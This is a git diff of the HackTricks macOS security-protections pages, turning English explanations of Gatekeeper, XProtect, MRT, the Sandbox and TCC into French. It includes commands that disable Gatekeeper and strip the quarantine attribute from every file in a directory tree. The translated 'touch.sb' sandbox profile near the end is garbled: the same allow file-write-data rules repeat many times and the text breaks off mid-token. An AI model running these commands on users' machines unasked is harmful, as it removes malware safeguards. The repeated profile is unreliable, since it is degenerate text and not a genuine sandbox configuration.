- ## Gatekeeper -**Gatekeeper** is a security feature developed for Mac operating systems, designed to ensure that users **run only trusted software** on their systems. It functions by **validating software** that a user downloads and attempts to open from **sources outside the App Store**, such as an app, a plug-in, or an installer package. +**Gatekeeper** est une fonctionnalité de sécurité développée pour les systèmes d'exploitation Mac, conçue pour garantir que les utilisateurs ne **lancent que des logiciels de confiance** sur leurs systèmes. Elle fonctionne en **validant les logiciels** qu'un utilisateur télécharge et tente d'ouvrir à partir de **sources en dehors de l'App Store**, telles qu'une application, un plug-in ou un package d'installation. -The key mechanism of Gatekeeper lies in its **verification** process. It checks if the downloaded software is **signed by a recognized developer**, ensuring the software's authenticity. Further, it ascertains whether the software is **notarised by Apple**, confirming that it is devoid of known malicious content and has not been tampered with after notarisation. - -Additionally, Gatekeeper reinforces user control and security by **prompting users to approve the opening** of downloaded software for the first time. This safeguard helps prevent users from inadvertently running potentially harmful executable code that they may have mistaken for a harmless data file. +Le mécanisme clé de Gatekeeper réside dans son processus de **vérification**. Il vérifie si le logiciel téléchargé est **signé par un développeur reconnu**, garantissant l'authenticité du logiciel. De plus, il vérifie si le logiciel est **notarisé par Apple**, confirmant qu'il est exempt de contenu malveillant connu et qu'il n'a pas été altéré après la notarisation. +De plus, Gatekeeper renforce le contrôle et la sécurité de l'utilisateur en **demandant aux utilisateurs d'approuver l'ouverture** des logiciels téléchargés pour la première fois. Cette mesure de sécurité aide à empêcher les utilisateurs de lancer involontairement un code exécutable potentiellement dangereux qu'ils auraient pu confondre avec un fichier de données inoffensif. ```bash # Check the status spctl --status @@ -28,25 +13,23 @@ sudo spctl --master-enable # Disable Gatekeeper sudo spctl --master-disable ``` +### Signatures d'application -### Application Signatures +Les signatures d'application, également connues sous le nom de signatures de code, sont un élément critique de l'infrastructure de sécurité d'Apple. Elles sont utilisées pour **vérifier l'identité de l'auteur du logiciel** (le développeur) et pour s'assurer que le code n'a pas été altéré depuis la dernière signature. -Application signatures, also known as code signatures, are a critical component of Apple's security infrastructure. They're used to **verify the identity of the software author** (the developer) and to ensure that the code hasn't been tampered with since it was last signed. +Voici comment cela fonctionne : -Here's how it works: +1. **Signature de l'application :** Lorsqu'un développeur est prêt à distribuer son application, il **signe l'application à l'aide d'une clé privée**. Cette clé privée est associée à un **certificat qu'Apple délivre au développeur** lorsqu'il s'inscrit au programme de développement Apple. Le processus de signature consiste à créer un hachage cryptographique de toutes les parties de l'application et à chiffrer ce hachage avec la clé privée du développeur. +2. **Distribution de l'application :** L'application signée est ensuite distribuée aux utilisateurs avec le certificat du développeur, qui contient la clé publique correspondante. +3. **Vérification de l'application :** Lorsqu'un utilisateur télécharge et tente d'exécuter l'application, son système d'exploitation Mac utilise la clé publique du certificat du développeur pour déchiffrer le hachage. Il recalcule ensuite le hachage en fonction de l'état actuel de l'application et le compare à celui déchiffré. S'ils correspondent, cela signifie que **l'application n'a pas été modifiée** depuis la signature du développeur, et le système autorise l'exécution de l'application. -1. **Signing the Application:** When a developer is ready to distribute their application, they **sign the application using a private key**. This private key is associated with a **certificate that Apple issues to the developer** when they enroll in the Apple Developer Program. The signing process involves creating a cryptographic hash of all parts of the app and encrypting this hash with the developer's private key. -2. **Distributing the Application:** The signed application is then distributed to users along with the developer's certificate, which contains the corresponding public key. -3. **Verifying the Application:** When a user downloads and attempts to run the application, their Mac operating system uses the public key from the developer's certificate to decrypt the hash. It then recalculates the hash based on the current state of the application and compares this with the decrypted hash. If they match, it means **the application hasn't been modified** since the developer signed it, and the system permits the application to run. +Les signatures d'application sont une partie essentielle de la technologie Gatekeeper d'Apple. Lorsqu'un utilisateur tente d'**ouvrir une application téléchargée depuis Internet**, Gatekeeper vérifie la signature de l'application. Si elle est signée avec un certificat délivré par Apple à un développeur connu et que le code n'a pas été altéré, Gatekeeper autorise l'exécution de l'application. Sinon, il bloque l'application et alerte l'utilisateur. -Application signatures are an essential part of Apple's Gatekeeper technology. When a user attempts to **open an application downloaded from the internet**, Gatekeeper verifies the application signature. If it's signed with a certificate issued by Apple to a known developer and the code hasn't been tampered with, Gatekeeper permits the application to run. Otherwise, it blocks the application and alerts the user. +À partir de macOS Catalina, **Gatekeeper vérifie également si l'application a été notarisée** par Apple, ajoutant une couche de sécurité supplémentaire. Le processus de notarisation vérifie l'application pour détecter les problèmes de sécurité connus et le code malveillant, et si ces vérifications sont réussies, Apple ajoute un ticket à l'application que Gatekeeper peut vérifier. -Starting from macOS Catalina, **Gatekeeper also checks whether the application has been notarized** by Apple, adding an extra layer of security. The notarization process checks the application for known security issues and malicious code, and if these checks pass, Apple adds a ticket to the application that Gatekeeper can verify. - -#### Check Signatures - -When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.** +#### Vérification des signatures +Lors de la vérification d'un **échantillon de logiciel malveillant**, vous devriez toujours **vérifier la signature** du binaire car le **développeur** qui l'a signé peut déjà être **lié** à un **logiciel malveillant**. ```bash # Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -63,35 +46,33 @@ spctl --assess --verbose /Applications/Safari.app # Sign a binary codesign -s toolsdemo ``` +### Notarisation -### Notarization +Le processus de notarisation d'Apple sert de mesure de sécurité supplémentaire pour protéger les utilisateurs des logiciels potentiellement dangereux. Il implique que le développeur soumette son application à l'examen du service de notarisation d'Apple, qui ne doit pas être confondu avec l'examen de l'application. Ce service est un système automatisé qui examine le logiciel soumis pour détecter la présence de contenu malveillant et tout problème potentiel de signature de code. -Apple's notarization process serves as an additional safeguard to protect users from potentially harmful software. It involves the **developer submitting their application for examination** by **Apple's Notary Service**, which should not be confused with App Review. This service is an **automated system** that scrutinizes the submitted software for the presence of **malicious content** and any potential issues with code-signing. +Si le logiciel passe cette inspection sans soulever de préoccupations, le service de notarisation génère un ticket de notarisation. Le développeur est alors tenu de joindre ce ticket à son logiciel, un processus appelé "agrafage". De plus, le ticket de notarisation est également publié en ligne où Gatekeeper, la technologie de sécurité d'Apple, peut y accéder. -If the software **passes** this inspection without raising any concerns, the Notary Service generates a notarization ticket. The developer is then required to **attach this ticket to their software**, a process known as 'stapling.' Furthermore, the notarization ticket is also published online where Gatekeeper, Apple's security technology, can access it. +Lors de la première installation ou exécution du logiciel par l'utilisateur, l'existence du ticket de notarisation - qu'il soit agrafé à l'exécutable ou trouvé en ligne - informe Gatekeeper que le logiciel a été notarisé par Apple. Par conséquent, Gatekeeper affiche un message descriptif dans la boîte de dialogue de lancement initial, indiquant que le logiciel a été vérifié pour la présence de contenu malveillant par Apple. Ce processus renforce ainsi la confiance des utilisateurs dans la sécurité des logiciels qu'ils installent ou exécutent sur leurs systèmes. -Upon the user's first installation or execution of the software, the existence of the notarization ticket - whether stapled to the executable or found online - **informs Gatekeeper that the software has been notarized by Apple**. As a result, Gatekeeper displays a descriptive message in the initial launch dialog, indicating that the software has undergone checks for malicious content by Apple. This process thereby enhances user confidence in the security of the software they install or run on their systems. +### Fichiers en quarantaine -### Quarentine Files +Lors du téléchargement d'une application ou d'un fichier, des applications macOS spécifiques telles que les navigateurs Web ou les clients de messagerie électronique attachent un attribut de fichier étendu, communément appelé "drapeau de quarantaine", au fichier téléchargé. Cet attribut sert de mesure de sécurité pour marquer le fichier comme provenant d'une source non fiable (Internet) et potentiellement risqué. Cependant, toutes les applications n'attachent pas cet attribut, par exemple, les logiciels clients BitTorrent courants contournent généralement ce processus. -Upon **downloading** an application or file, specific macOS **applications** such as web browsers or email clients **attach an extended file attribute**, commonly known as the "**quarantine flag**," to the downloaded file. This attribute acts as a security measure to **mark the file** as coming from an untrusted source (the internet), and potentially carrying risks. However, not all applications attach this attribute, for instance, common BitTorrent client software usually bypasses this process. +La présence d'un drapeau de quarantaine signale la fonctionnalité de sécurité Gatekeeper de macOS lorsque l'utilisateur tente d'exécuter le fichier. -**The presence of a quarantine flag signals macOS's Gatekeeper security feature when a user attempts to execute the file**. - -In the case where the **quarantine flag is not present** (as with files downloaded via some BitTorrent clients), Gatekeeper's **checks may not be performed**. Thus, users should exercise caution when opening files downloaded from less secure or unknown sources. +Dans le cas où le drapeau de quarantaine n'est pas présent (comme pour les fichiers téléchargés via certains clients BitTorrent), les vérifications de Gatekeeper peuvent ne pas être effectuées. Par conséquent, les utilisateurs doivent faire preuve de prudence lorsqu'ils ouvrent des fichiers téléchargés à partir de sources moins sécurisées ou inconnues. {% hint style="info" %} -**Checking** the **validity** of code signatures is a **resource-intensive** process that includes generating cryptographic **hashes** of the code and all its bundled resources. Furthermore, checking certificate validity involves doing an **online check** to Apple's servers to see if it has been revoked after it was issued. For these reasons, a full code signature and notarization check is **impractical to run every time an app is launched**. +La vérification de la validité des signatures de code est un processus intensif en ressources qui comprend la génération de hachages cryptographiques du code et de toutes ses ressources groupées. De plus, la vérification de la validité du certificat implique une vérification en ligne auprès des serveurs d'Apple pour voir s'il a été révoqué après sa délivrance. Pour ces raisons, une vérification complète de la signature de code et de la notarisation est impraticable à exécuter à chaque fois qu'une application est lancée. -Therefore, these checks are **only run when executing apps with the quarantined attribute.** +Par conséquent, ces vérifications ne sont effectuées que lors de l'exécution d'applications avec l'attribut en quarantaine. {% endhint %} {% hint style="warning" %} -**Note that Safari and other web browsers and applications are the ones that need to mark the downloaded files** +Notez que Safari et d'autres navigateurs Web et applications sont ceux qui doivent marquer les fichiers téléchargés. {% endhint %} -It's possible to **check it's status and enable/disable** (root required) with: - +Il est possible de vérifier son statut et d'activer/désactiver (nécessite des privilèges d'administrateur) avec: ```bash spctl --status assessments enabled @@ -100,17 +81,13 @@ spctl --enable spctl --disable #You can also allow nee identifies to execute code using the binary "spctl" ``` - -You can also **find if a file has the quarantine extended attribute** with: - +Vous pouvez également **vérifier si un fichier possède l'attribut étendu de quarantaine** avec: ```bash xattr portada.png com.apple.macl com.apple.quarantine ``` - -Check the **value** of the **extended** **attributes** with: - +Vérifiez la **valeur** des **attributs étendus** avec: ```bash xattr -l portada.png com.apple.macl: @@ -122,69 +99,60 @@ com.apple.macl: 00000048 com.apple.quarantine: 0081;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5 ``` - -And **remove** that attribute with: - +Et **supprimez** cet attribut avec: ```bash xattr -d com.apple.quarantine portada.png #You can also remove this attribute from every file with find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine ``` - -And find all the quarantined files with: +Et trouvez tous les fichiers mis en quarantaine avec: {% code overflow="wrap" %} ```bash find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine" ``` -{% endcode %} - ## XProtect -XProtect is a built-in **anti-malware** feature in macOS. It is part of Apple's security system that works silently in the background to keep your Mac safe from known malware and malicious plug-ins. +XProtect est une fonctionnalité **anti-malware** intégrée à macOS. Elle fait partie du système de sécurité d'Apple qui fonctionne silencieusement en arrière-plan pour protéger votre Mac contre les malwares connus et les plug-ins malveillants. -XProtect functions by **checking any downloaded files against its database** of known malware and unsafe file types. When you download a file through certain apps, such as Safari, Mail, or Messages, XProtect automatically scans the file. If it matches any known malware in its database, XProtect will **prevent the file from running** and alert you to the threat. +XProtect fonctionne en **vérifiant tous les fichiers téléchargés par rapport à sa base de données** de malwares connus et de types de fichiers non sécurisés. Lorsque vous téléchargez un fichier via certaines applications, telles que Safari, Mail ou Messages, XProtect analyse automatiquement le fichier. S'il correspond à un malware connu dans sa base de données, XProtect **empêchera le fichier de s'exécuter** et vous alertera de la menace. -The XProtect database is **updated regularly** by Apple with new malware definitions, and these updates are automatically downloaded and installed on your Mac. This ensures that XProtect is always up-to-date with the latest known threats. +La base de données XProtect est **régulièrement mise à jour** par Apple avec de nouvelles définitions de malwares, et ces mises à jour sont automatiquement téléchargées et installées sur votre Mac. Cela garantit que XProtect est toujours à jour avec les dernières menaces connues. -However, it's worth noting that **XProtect isn't a full-featured antivirus solution**. It only checks for a specific list of known threats and doesn't perform on-access scanning like most antivirus software. Therefore, while XProtect provides a layer of protection against known malware, it's still recommended to exercise caution when downloading files from the internet or opening email attachments. +Cependant, il convient de noter que **XProtect n'est pas une solution antivirus complète**. Il ne vérifie que pour une liste spécifique de menaces connues et ne réalise pas de numérisation à l'accès comme la plupart des logiciels antivirus. Par conséquent, bien que XProtect offre une couche de protection contre les malwares connus, il est toujours recommandé de faire preuve de prudence lors du téléchargement de fichiers depuis Internet ou de l'ouverture de pièces jointes d'e-mail. -You can get information about the latest XProtect update running: +Vous pouvez obtenir des informations sur la dernière mise à jour de XProtect en cours d'exécution : {% code overflow="wrap" %} ```bash system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5 ``` -{% endcode %} +## MRT - Outil de suppression de logiciels malveillants -## MRT - Malware Removal Tool +L'outil de suppression de logiciels malveillants (MRT) est une autre partie de l'infrastructure de sécurité de macOS. Comme son nom l'indique, la fonction principale de MRT est de **supprimer les logiciels malveillants connus des systèmes infectés**. -The Malware Removal Tool (MRT) is another part of macOS's security infrastructure. As the name suggests, MRT's main function is to **remove known malware from infected systems**. +Une fois que des logiciels malveillants sont détectés sur un Mac (soit par XProtect, soit par d'autres moyens), MRT peut être utilisé pour **supprimer automatiquement les logiciels malveillants**. MRT fonctionne silencieusement en arrière-plan et s'exécute généralement chaque fois que le système est mis à jour ou lorsqu'une nouvelle définition de logiciel malveillant est téléchargée. -Once malware is detected on a Mac (either by XProtect or by some other means), MRT can be used to automatically **remove the malware**. MRT operates silently in the background and typically runs whenever the system is updated or when a new malware definition is downloaded. +Bien que XProtect et MRT fassent tous deux partie des mesures de sécurité de macOS, ils remplissent des fonctions différentes : -While both XProtect and MRT are part of macOS's security measures, they perform different functions: +* **XProtect** est un outil préventif. Il **vérifie les fichiers lorsqu'ils sont téléchargés** (via certaines applications), et s'il détecte des types de logiciels malveillants connus, il **empêche l'ouverture du fichier**, empêchant ainsi le logiciel malveillant d'infecter votre système en premier lieu. +* **MRT**, en revanche, est un **outil réactif**. Il fonctionne après la détection de logiciels malveillants sur un système, dans le but de supprimer le logiciel incriminé pour nettoyer le système. -* **XProtect** is a preventative tool. It **checks files as they're downloaded** (via certain applications), and if it detects any known types of malware, it **prevents the file from opening**, thereby preventing the malware from infecting your system in the first place. -* **MRT**, on the other hand, is a **reactive tool**. It operates after malware has been detected on a system, with the goal of removing the offending software to clean up the system. +## Limitation des processus -## Processes Limitants +### SIP - Protection de l'intégrité du système -### SIP - System Integrity Protection +### Bac à sable - - -### Sandbox - -MacOS Sandbox **limits applications** running inside the sandbox to the **allowed actions specified in the Sandbox profile** the app is running with. This helps to ensure that **the application will be accessing only expected resources**. +Le bac à sable de MacOS **limite les applications** s'exécutant à l'intérieur du bac à sable aux **actions autorisées spécifiées dans le profil de bac à sable** avec lequel l'application s'exécute. Cela aide à garantir que **l'application n'accédera qu'aux ressources attendues**. {% content-ref url="macos-sandbox/" %} [macos-sandbox](macos-sandbox/) {% endcontent-ref %} -### TCC - **Transparency, Consent, and Control** +### TCC - Transparence, consentement et contrôle -**TCC (Transparency, Consent, and Control)** is a mechanism in macOS to **limit and control application access to certain features**, usually from a privacy perspective. This can include things such as location services, contacts, photos, microphone, camera, accessibility, full disk access, and a bunch more. +**TCC (Transparence, consentement et contrôle)** est un mécanisme de macOS pour **limiter et contrôler l'accès des applications à certaines fonctionnalités**, généralement d'un point de vue de la confidentialité. Cela peut inclure des choses telles que les services de localisation, les contacts, les photos, le microphone, la caméra, l'accessibilité, l'accès complet au disque et bien plus encore. {% content-ref url="macos-tcc/" %} [macos-tcc](macos-tcc/) @@ -194,10 +162,10 @@ MacOS Sandbox **limits applications** running inside the sandbox to the **allowe ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index b72c58bf7..42da2698e 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -1,34 +1,33 @@ -# macOS Sandbox +# Bac à sable macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Basic Information +## Informations de base -MacOS Sandbox (initially called Seatbelt) **limits applications** running inside the sandbox to the **allowed actions specified in the Sandbox profile** the app is running with. This helps to ensure that **the application will be accessing only expected resources**. +Le bac à sable macOS (initialement appelé Seatbelt) **limite les applications** s'exécutant dans le bac à sable aux **actions autorisées spécifiées dans le profil Sandbox** avec lequel l'application s'exécute. Cela contribue à garantir que **l'application n'accédera qu'aux ressources attendues**. -Any app with the **entitlement** **`com.apple.security.app-sandbox`** will be executed inside the sandbox. **Apple binaries** are usually executed inside a Sanbox and in order to publish inside the **App Store**, **this entitlement is mandatory**. So most applications will be executed inside the sandbox. +Toute application avec l'**autorisation** **`com.apple.security.app-sandbox`** sera exécutée dans le bac à sable. Les **binaires Apple** sont généralement exécutés dans un bac à sable et pour publier dans **l'App Store**, **cette autorisation est obligatoire**. Ainsi, la plupart des applications seront exécutées dans le bac à sable. -In order to control what a process can or cannot do the **Sandbox has hooks** in all **syscalls** across the kernel. **Depending** on the **entitlements** of the app the Sandbox will **allow** certain actions. +Pour contrôler ce qu'un processus peut ou ne peut pas faire, le **bac à sable a des hooks** dans tous les **appels système** à travers le noyau. **Selon** les **autorisations** de l'application, le bac à sable **autorise** certaines actions. -Some important components of the Sandbox are: +Certains composants importants du bac à sable sont : -* The **kernel extension** `/System/Library/Extensions/Sandbox.kext` -* The **private framework** `/System/Library/PrivateFrameworks/AppSandbox.framework` -* A **daemon** running in userland `/usr/libexec/sandboxd` -* The **containers** `~/Library/Containers` - -Inside the containers folder you can find **a folder for each app executed sanboxed** with the name of the bundle id: +* L'**extension de noyau** `/System/Library/Extensions/Sandbox.kext` +* Le **framework privé** `/System/Library/PrivateFrameworks/AppSandbox.framework` +* Un **démon** s'exécutant dans l'espace utilisateur `/usr/libexec/sandboxd` +* Les **conteneurs** `~/Library/Containers` +Dans le dossier des conteneurs, vous pouvez trouver **un dossier pour chaque application exécutée dans le bac à sable** avec le nom de l'ID de bundle : ```bash ls -l ~/Library/Containers total 0 @@ -39,9 +38,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler [...] ``` - -Inside each bundle id folder you can find the **plist** and the **Data directory** of the App: - +À l'intérieur de chaque dossier d'identifiant de bundle, vous pouvez trouver le fichier **plist** et le répertoire **Data** de l'application : ```bash cd /Users/username/Library/Containers/com.apple.Safari ls -la @@ -64,11 +61,9 @@ lrwxr-xr-x 1 username staff 20 Mar 24 18:02 Pictures -> ../../../../Pictur drwx------ 2 username staff 64 Mar 24 18:02 SystemData drwx------ 2 username staff 64 Mar 24 18:02 tmp ``` - {% hint style="danger" %} -Note that even if the symlinks are there to "escape" from the Sandbox and access other folders, the App still needs to **have permissions** to access them. These permissions are inside the **`.plist`**. +Notez que même si les liens symboliques sont là pour "s'échapper" du Sandbox et accéder à d'autres dossiers, l'application doit toujours **avoir les autorisations** pour y accéder. Ces autorisations sont à l'intérieur du fichier **`.plist`**. {% endhint %} - ```bash # Get permissions plutil -convert xml1 .com.apple.containermanagerd.metadata.plist -o - @@ -104,13 +99,11 @@ plutil -convert xml1 .com.apple.containermanagerd.metadata.plist -o - /Users/username/Desktop [...] ``` +### Profils Sandbox -### Sandbox Profiles - -The Sandbox profiles are configuration files that indicates what is going to be **allowed/forbidden** in that **Sandbox**. It uses the **Sandbox Profile Language (SBPL)**, which uses the [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) programming language. - -Here you can find an example: +Les profils Sandbox sont des fichiers de configuration qui indiquent ce qui est autorisé/interdit dans cette Sandbox. Il utilise le langage de profil Sandbox (SBPL), qui utilise le langage de programmation [Scheme](https://en.wikipedia.org/wiki/Scheme_\(programming_language\)). +Voici un exemple : ```scheme (version 1) ; First you get the version @@ -128,39 +121,571 @@ Here you can find an example: (global-name "com.apple.analyticsd") ) ``` - {% hint style="success" %} -Check this [**research**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **to check more actions that could be allowed or denied.** +Consultez cette [**recherche**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **pour vérifier d'autres actions qui pourraient être autorisées ou refusées.** {% endhint %} -Important **system services** also run inside their own custom **sandbox** such as the `mdnsresponder` service. You can view these custom **sandbox profiles** inside: +Des **services système** importants s'exécutent également dans leur propre **bac à sable personnalisé** tels que le service `mdnsresponder`. Vous pouvez voir ces **profils de bac à sable personnalisés** dans: * **`/usr/share/sandbox`** -* **`/System/Library/Sandbox/Profiles`** -* Other sandbox profiles can be checked in [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles). +* **`/System/Library/Sandbox/Profiles`** +* D'autres profils de bac à sable peuvent être consultés sur [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles). -**App Store** apps use the **profile** **`/System/Library/Sandbox/Profiles/application.sb`**. You can check in this profile how entitlements such as **`com.apple.security.network.server`** allows a process to use the network. +Les applications de l'**App Store** utilisent le **profil** **`/System/Library/Sandbox/Profiles/application.sb`**. Vous pouvez vérifier dans ce profil comment les autorisations telles que **`com.apple.security.network.server`** permettent à un processus d'utiliser le réseau. -SIP is a Sandbox profile called platform\_profile in /System/Library/Sandbox/rootless.conf +SIP est un profil de bac à sable appelé platform\_profile dans /System/Library/Sandbox/rootless.conf -### Sandbox Profile Examples - -To start an application with an **specific sandbox profile** you can use: +### Exemples de profils de bac à sable +Pour démarrer une application avec un **profil de bac à sable spécifique**, vous pouvez utiliser: ```bash sandbox-exec -f example.sb /Path/To/The/Application ``` - -{% tabs %} -{% tab title="touch" %} {% code title="touch.sb" %} +# Sandbox for the touch command + +(version 1) + +(deny default) + +(allow file-read-data file-read-metadata + (regex #"^/usr/share/locale/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Desktop/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Documents/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Downloads/.*")) + +(allow file-write-data + (regex #"^/private/tmp/.*")) + +(allow file-write-data + (regex #"^/var/tmp/.*")) + +(allow file-write-data + (regex #"^/tmp/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Library/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Sites/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Applications/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Movies/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Music/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Pictures/.*")) + +(allow file-write-data + (regex #"^/Users/[^/]+/Public/.*")) + +(allow 